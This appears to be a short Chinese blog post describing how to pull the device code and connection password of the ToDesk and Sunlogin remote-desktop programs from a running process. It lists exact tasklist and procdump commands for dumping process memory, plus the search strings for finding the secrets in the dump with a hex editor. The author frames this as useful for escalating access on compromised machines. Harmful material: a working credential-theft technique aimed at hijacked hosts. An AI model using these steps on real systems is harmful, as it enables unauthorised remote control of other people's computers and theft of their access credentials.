看到一篇文章是通过Procdump获取ToDesk远控信息的，于是实操了一下；顺便也测试了一下向日葵远控，发现都是适用的。该方法对于肉鸡提权有一定价值。

1、获取ToDesk远控信息

    测试版本：ToDesk v4.7.4.3

    测试工具：procdump、WinHex（其它十六进制编辑器也可）

    操作步骤：

    1）查看ToDesk进程PID，命令: tasklist /FI "IMAGENAME eq ToDesk*" /SVC

1

    2）将进程内存转储到本地文件，命令: procdump64.exe -accepteula -ma 6216 (进程有两个，此处使用非ToDesk_Service服务的PID)

    -accepteula 自动接受Sysinternals许可协议

    -ma 写入“完整”转储文件，包括所有内存和元数据

    3）用WinHex打开上面得到的内存转储文件，通过搜索转储日期进行定位，在日期上方附近即可找到“设备代码”和“连接密码”。

2

2、获取向日葵远控信息

    测试版本：向日葵v15.6.8.15068

    测试工具：procdump、WinHex（其它十六进制编辑器也可）

    操作步骤：

    1）查看向日葵进程PID，命令: tasklist /FI "IMAGENAME eq SunloginClient*" /SVC

3

    2）将进程内存转储到本地文件，命令: procdump64.exe -accepteula -ma 22468 (进程有三个，经尝试，使用非SunloginService的PID值较大的那个，操作其它两个会报错)

    3）用WinHex打开上面得到的内存转储文件，通过搜索 f=yahei.28 c=color_edit进行定位，可以搜到多个（可以看到关键字是一段样式，同样样式的文本已经算少的），观察紧随其后的文本即可得到“设备代码”和“连接密码”（设备代码是9位数字，连接密码是数字字母字符串，很容易区分出来）。

4